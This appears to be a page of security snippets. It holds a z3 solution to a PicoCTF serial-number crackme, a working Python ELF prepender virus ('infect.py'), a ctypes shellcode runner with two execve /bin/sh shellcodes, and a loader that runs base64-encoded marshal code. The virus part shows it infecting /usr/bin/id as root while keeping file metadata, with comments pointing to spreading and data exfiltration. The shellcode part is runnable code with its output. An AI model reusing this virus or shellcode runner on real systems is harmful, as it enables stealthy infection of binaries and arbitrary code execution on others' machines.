# PicoCTF 2k13 - Harder serial

# cat harder_serial.py
#!/usr/bin/env python
# Looks like the serial number verification for space ships is similar to that
# of your robot. Try to find a serial that verifies for this space ship

import sys
print ("Please enter a valid serial number from your RoboCorpIntergalactic purchase")
if len(sys.argv) < 2:
 print ("Usage: %s [serial number]"%sys.argv[0])
 exit()

print ("#>" + sys.argv[1] + "<#")

def check_serial(serial):
 if (not set(serial).issubset(set(map(str,range(10))))):
  print ("only numbers allowed")
  return False
 if len(serial) != 20:
  return False
 if int(serial[15]) + int(serial[4]) != 10:
  return False
 if int(serial[1]) * int(serial[18]) != 2:
  return False
 if int(serial[15]) / int(serial[9]) != 1:
  return False
 if int(serial[17]) - int(serial[0]) != 4:
  return False
 if int(serial[5]) - int(serial[17]) != -1:
  return False
 if int(serial[15]) - int(serial[1]) != 5:
  return False
 if int(serial[1]) * int(serial[10]) != 18:
  return False
 if int(serial[8]) + int(serial[13]) != 14:
  return False
 if int(serial[18]) * int(serial[8]) != 5:
  return False
 if int(serial[4]) * int(serial[11]) != 0:
  return False
 if int(serial[8]) + int(serial[9]) != 12:
  return False
 if int(serial[12]) - int(serial[19]) != 1:
  return False
 if int(serial[9]) % int(serial[17]) != 7:
  return False
 if int(serial[14]) * int(serial[16]) != 40:
  return False
 if int(serial[7]) - int(serial[4]) != 1:
  return False
 if int(serial[6]) + int(serial[0]) != 6:
  return False
 if int(serial[2]) - int(serial[16]) != 0:
  return False
 if int(serial[4]) - int(serial[6]) != 1:
  return False
 if int(serial[0]) % int(serial[5]) != 4:
  return False
 if int(serial[5]) * int(serial[11]) != 0:
  return False
 if int(serial[10]) % int(serial[15]) != 2:
  return False
 if int(serial[11]) / int(serial[3]) != 0:
  return False
 if int(serial[14]) - int(serial[13]) != -4:
  return False
 if int(serial[18]) + int(serial[19]) != 3:
  return False
 return True

if check_serial(sys.argv[1]):
 print ("Thank you! Your product has been verified!")
else:
 print ("I'm sorry that is incorrect. Please use a valid RoboCorpIntergalactic serial number")

# cat sol.py 
from z3 import *

serial = IntVector('serial', 20)

s = Solver()
 
s.add(0 <= serial[0]); s.add(0 <= serial[1])
s.add(0 <= serial[2]); s.add(1 <= serial[3])
s.add(0 <= serial[4]); s.add(0 <= serial[5])
s.add(0 <= serial[6]); s.add(0 <= serial[7])
s.add(0 <= serial[8]); s.add(1 <= serial[9])
s.add(0 <= serial[10]); s.add(0 <= serial[11])
s.add(0 <= serial[12]); s.add(0 <= serial[13])
s.add(0 <= serial[14]); s.add(0 <= serial[15])
s.add(0 <= serial[16]); s.add(0 <= serial[17])
s.add(0 <= serial[18]); s.add(0 <= serial[19])

s.add(serial[0] < 10); s.add(serial[1] < 10)
s.add(serial[2] < 10); s.add(serial[3] < 10)
s.add(serial[4] < 10); s.add(serial[5] < 10)
s.add(serial[6] < 10); s.add(serial[7] < 10)
s.add(serial[8] < 10); s.add(serial[9] < 10)
s.add(serial[10] < 10); s.add(serial[11] < 10)
s.add(serial[12] < 10); s.add(serial[13] < 10)
s.add(serial[14] < 10); s.add(serial[15] < 10)
s.add(serial[16] < 10); s.add(serial[17] < 10)
s.add(serial[18] < 10); s.add(serial[19] < 10)

s.add(serial[15] + serial[4] == 10);
s.add(serial[1] * serial[18] == 2)
s.add(serial[15] / serial[9] == 1);
s.add(serial[17] - serial[0] == 4)
s.add(serial[5] - serial[17] == -1);
s.add(serial[15] - serial[1] == 5)
s.add(serial[1] * serial[10] == 18);
s.add(serial[8] + serial[13] == 14)
s.add(serial[18] * serial[8] == 5);
s.add(serial[4] * serial[11] == 0)
s.add(serial[8] + serial[9] == 12);
s.add(serial[12] - serial[19] == 1)
s.add(serial[9] % serial[17] == 7);
s.add(serial[14] * serial[16] == 40)
s.add(serial[7] - serial[4] == 1);
s.add(serial[6] + serial[0] == 6)
s.add(serial[2] - serial[16] == 0);
s.add(serial[4] - serial[6] == 1)
s.add(serial[0] % serial[5] == 4);
s.add(serial[5] * serial[11] == 0)
s.add(serial[10] % serial[15] == 2);
s.add(serial[11] / serial[3] == 0)
s.add(serial[14] - serial[13] == -4);
s.add(serial[18] + serial[19] == 3)

if s.check() == sat:
 print s.model()

$ python sol.py
[serial__17 = 8,
 serial__19 = 2,
 serial__14 = 5,
 serial__9 = 7,
 serial__7 = 4,
 serial__18 = 1,
 serial__11 = 0,
 serial__3 = 1,
 serial__16 = 8,
 serial__1 = 2,
 serial__4 = 3,
 serial__6 = 2,
 serial__15 = 7,
 serial__8 = 5,
 serial__10 = 9,
 serial__13 = 9,
 serial__5 = 7,
 serial__2 = 8,
 serial__0 = 4,
 serial__12 = 3]

# ELF prepender in python

# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 34K Jan 14 03:50 /usr/bin/id
# file /usr/bin/id
/usr/bin/id: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1a041b19449828face10d6ddcf7cffe259196923, stripped
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)

# ./infect.py @ /usr/bin/id

# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 22K Jan 14 03:50 /usr/bin/id
# file /usr/bin/id
/usr/bin/id: Python script, ASCII text executable, with very long lines
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)
# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 22K Jan 14 03:50 /usr/bin/id

# cat infect.py
#!/usr/bin/env python

from base64 import b64decode, b64encode
from os import chmod, chown, execv, fork, path as p, remove, stat, utime, wait
from sys import argv
from zlib import compress, decompress



class IO:

 def __init__(self, path):
  self.path = path
  self.stat = stat(path)
  if self.data is None:
   self.data = self.Encode()

 def Decode(self, data):
  return decompress(b64decode(data))

 def Encode(self):
  with open(self.path, 'rb') as f:
   data = f.read()
  return b64encode(compress(data))

 def WriteToDisk(self, data = None):
  if data == None:
   data = self.Decode(self.data)
  with open(self.path, 'wb') as f:
   f.write(data)
  chown(self.path, self.stat.st_uid, self.stat.st_gid)
  chmod(self.path, self.stat.st_mode)
  utime(self.path, (self.stat.st_atime, self.stat.st_mtime))



class Host(IO):

 def __init__(self, path):
  self.infected = False
  self.data = False
  IO.__init__(self, path)

 def Infected(self):
  infected = 'self.infected = True'
  data = self.Decode(self.Encode())
  if infected in data[:1000]:
   return True
  else:
   return False

 def Run(self, arg):
  execv(arg[0], arg)



class Virus(IO):

 def __init__(self, arg):
  self.arg = arg
  self.data = None
  IO.__init__(self, p.abspath(__file__))

 def InfectHost(self, path):
  host = Host(path)
  if not host.Infected():
   infect = self.Decode(self.Encode())
   infect = infect.replace('False', 'True', 1)
   infect = infect.replace('False', "'" + host.Encode() + "'", 1)
   host.WriteToDisk(infect)

 def Run(self):
  if len(self.arg) > 1 and self.arg[1] == '@':
   self.InfectHost(self.arg[2])
  else:
   # First: Run the host program
   self.RunHost()
   # Second: Do other things like ...
   ## - Find and infect new hosts
   ## - Exfiltrate data
   ## - ...

 def RunHost(self):
  data = self.Encode()
  host = Host(self.path)
  host.WriteToDisk()
  pid = fork()
  if pid == 0:
   host.Run(self.arg)
  else:
   wait()
   self.WriteToDisk()



if __name__ == "__main__": Virus(argv).Run()

# Execute shellcode in python

$ cat runshellcode.py
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
from sys import argv


libc = CDLL('libc.so.6')

shellcode = argv[1].replace('\\x', '').decode('hex')

sc = c_char_p(shellcode)
size = len(shellcode)
addr = c_void_p(libc.valloc(size))
memmove(addr, sc, size)
libc.mprotect(addr, size, 0x7)
run = cast(addr, CFUNCTYPE(c_void_p))
run()

$ uname -m
x86_64
$ # 23 bytes - Gu Zhengxiong
$ python disassemble.py x86 64 '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
len = 23
0x1000: xor esi, esi
0x1002: movabs  rbx, 0x68732f2f6e69622f
0x100c: push  rsi
0x100d: push  rbx
0x100e: push  rsp
0x100f: pop rdi
0x1010: push  0x3b
0x1012: pop rax
0x1013: xor edx, edx
0x1015: syscall
$ python runshellcode.py '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
$

$ uname -m
i686
$ # 21 bytes - Gu Zhengxiong
$ python disassemble.py x86 32 '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
len = 21
0x1000: xor ecx, ecx
0x1002: mul ecx
0x1004: mov al, 0xb
0x1006: push  ecx
0x1007: push  0x68732f2f
0x100c: push  0x6e69622f
0x1011: mov ebx, esp
0x1013: int 0x80
$ python runshellcode.py '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
$

$ cat disassemble.py
from sys import argv
from capstone import *

CODE = argv[3].replace('\\x', '').decode('hex')
print 'len =', len(CODE)

ARCH = {
  'all'   : CS_ARCH_ALL,
  'arm'   : CS_ARCH_ARM,
  'arm64'   : CS_ARCH_ARM64,
  'mips'    : CS_ARCH_MIPS,
  'ppc'   : CS_ARCH_PPC,
  'x86'   : CS_ARCH_X86,
  'xcore'   : CS_ARCH_XCORE
}

MODE = {
  '16'    : CS_MODE_16, 
  '32'    : CS_MODE_32,
  '64'    : CS_MODE_64,
  'arm'   : CS_MODE_ARM,
  'be'    : CS_MODE_BIG_ENDIAN,
  'le'    : CS_MODE_LITTLE_ENDIAN,
  'micro'   : CS_MODE_MICRO,
  'n64'   : CS_MODE_N64,
  'thumb'   : CS_MODE_THUMB
}

md = Cs(ARCH[argv[1]], MODE[argv[2]])
for i in md.disasm(CODE, 0x1000):
  print '0x%x:\t%s\t%s' % (i.address, i.mnemonic, i.op_str)

# Serializing functions with marshal

# cat serializer.py
import base64
import marshal

def function(msg):
 print msg

print base64.b64encode(marshal.dumps(function.func_code))
# cat runner.py 
import base64
import marshal
import sys
import types

code = marshal.loads(base64.b64decode(sys.argv[1]))
func = types.FunctionType(code, globals())
func('Test')
# python serializer.py
YwEAAAABAAAAAQAAAEMAAABzCQAAAHwAAEdIZAAAUygBAAAATigAAAAAKAEAAAB0AwAAAG1zZygAAAAAKAAAAABzDQAAAHNlcmlhbGl6ZXIucHl0CAAAAGZ1bmN0aW9uBAAAAHMCAAAAAAE=
# python runner.py YwEAAAABAAAAAQAAAEMAAABzCQAAAHwAAEdIZAAAUygBAAAATigAAAAAKAEAAAB0AwAAAG1zZygAAAAAKAAAAABzDQAAAHNlcmlhbGl6ZXIucHl0CAAAAGZ1bmN0aW9uBAAAAHMCAAAAAAE=
Test